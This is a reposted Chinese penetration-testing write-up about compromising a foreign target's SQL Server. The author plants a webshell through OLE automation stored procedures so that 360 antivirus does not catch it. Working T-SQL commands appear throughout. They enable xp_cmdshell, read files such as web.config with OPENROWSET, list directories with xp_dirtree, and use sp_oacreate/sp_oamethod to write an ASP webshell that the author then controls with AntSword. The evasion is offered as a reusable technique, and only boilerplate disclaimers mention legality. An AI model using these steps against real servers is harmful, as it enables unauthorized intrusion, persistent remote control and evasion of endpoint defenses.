绕过杀软防护实战 | 通过数据库写入WebShell

admin 2025年2月13日13:46:28评论23 views字数 2489阅读8分17秒阅读模式
本文由掌控安全学院 -   郑居中 投稿

 

0x1 开篇

记录一次比较有思考意义的国外渗透过程,通过外围打点渗透,成功获取到目标数据库的账号和密码,连接数据库后上传 WebShell 实现控制,但在尝试上传后门木马文件时,发现目标系统中运行着杀软,使用 tasklist /SVC 确认杀软进程的存在,导致一旦上传恶意文件,系统会立即触发杀软扫描并进行拦截,上传木马的尝试失败。

0x2 初遇难题

这里外围打点,如何拿到数据库账号密码的,就不写了,主要是绕过杀软成功上传WebShell的思路。

开始:我拿到的是mssql数据库的账号密码,连接成功后,第一时间想到使用xp_cmdshell 执行系统命令,但是遗憾以失败告终! xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 首先查看数据库的权限:

Select IS_SRVROLEMEMBER('sysadmin'); 为1说明是 SQL Server 的 sysadmin 角色成员。

绕过杀软防护实战 | 通过数据库写入WebShellimg

开启xp_cmshell

EXEC sp_configure 'show advanced options',1RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

执行命令,显示报错,问gpt,说权限问题或存在杀软、防火墙,禁止调用系统命令。

exec master..xp_cmdshell 'whoami';

绕过杀软防护实战 | 通过数据库写入WebShellimg
绕过杀软防护实战 | 通过数据库写入WebShellimg

所以xp_cmdshell,这条路断了,想其他思路。

0x3 峰回路转

OLE自动化存储过程写入WebShell

在网上找了其他思路,最终确认一条”OLE自动化存储过程写入WebShell”。

开始操作,首先权限必须是DBA权限,我们已经是的,其次要知道网站的绝对路径。绝对路径怎么找,上网找到xp_dirtree。

xp_dirtree

xp_dirtree 是 SQL Server 中的一个扩展存储过程,用于返回指定目录下的所有文件夹和子目录的树状结构。它可以帮助查询指定路径下的目录结构,常用于获取目录中所有子文件夹的信息。

用法:

列出C盘下Temp目录所有文件EXEC xp_dirtree 'C:Temp',1,1;列出C盘下Temp目录所有文件夹EXEC xp_dirtree 'C:Temp',1;

通过这种办法,就找到了目标系统的网站路径。

绕过杀软防护实战 | 通过数据库写入WebShellimg

但是要是想看具体文件的内容,就需要其他方法。

•OPENROWSET 如果你的 SQL Server 启用了 Ad Hoc Distributed Queries 功能,可以用 OPENROWSET 直接读取文件:
•启用 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
•读取文件内容 假设文件路径为 C:examplefile.txt:

SELECT *FROM OPENROWSET(BULK 'd:TwApiWuyeweb.config',SINGLE_CLOB) AS FileContent;

作用:读取整个文件的内容为单个文本字段。

绕过杀软防护实战 | 通过数据库写入WebShell

img

0x4 势如破竹

现在权限足够,网站绝对路径知道了,直接通过写webshell
declare <span>@o</span> int, <span>@f</span>int,<span>@t</span> int, <span>@ret</span> intexec sp_oacreate 'scripting.filesystemobject',<span>@o</span> outexec sp_oamethod <span>@o,</span>'createtextfile',<span>@f</span> out, 'd:xxxxmuma.asp', 1exec <span>@ret</span>= sp_oamethod <span>@f,</span>'writeline', NULL,'木马文件内容'
如果遇到虾米, SQL Server 默认禁用了 Ole Automation Procedures,这是为了安全原因防止未经授权的操作 。
绕过杀软防护实战 | 通过数据库写入WebShell

img
启用Ole Automation Procedures
EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
绕过杀软防护实战 | 通过数据库写入WebShell

img
一句话,直接使用蚁剑连接,连接成功,但是上传后门文件,上传成功后下一秒就会被杀
绕过杀软防护实战 | 通过数据库写入WebShell

img
绕过杀软防护实战 | 通过数据库写入WebShell

img
绕过杀软防护实战 | 通过数据库写入WebShell

img
但是存在杀软上传的木马第一时间都会被杀,通过 tasklist /SVC,发现是 360

0x5 复盘思考

在我 tasklist /SVC 后,发现该系统存在 360 杀软,上传任何木马后门都会被第一时间杀掉,证明杀软正常运行。为什么我通过数据库写入的WebShell一句话都没有被杀?而且连接成功了。我还修改不了从数据库生成的木马文件,最终解释权给到了权限问题。

权限差异

1.通过蚁剑正常上传的文件会带有当前用户的权限(普通用户),杀软可能有权限直接修改、隔离该文件。
2.数据库生成的文件可能继承了数据库服务的权限(通常是系统级别),这可能导致杀软无法直接操作或修改该文件,从而避免了被查杀。
3.一般杀软会监控文件上传操作(如 FTP 或 HTTP 请求中的文件流)或 Web 服务器目录下的新建文件,而 OLE 自动化生成的文件没有典型的网络传输过程,容易规避查杀 。
也是绕过杀软的一种思路
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

绕过杀软防护实战 | 通过数据库写入WebShell

 

原文始发于微信公众号(掌控安全EDU):绕过杀软防护实战 | 通过数据库写入WebShell

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日13:46:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过杀软防护实战 | 通过数据库写入WebShellhttps://cn-sec.com/archives/3735987.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息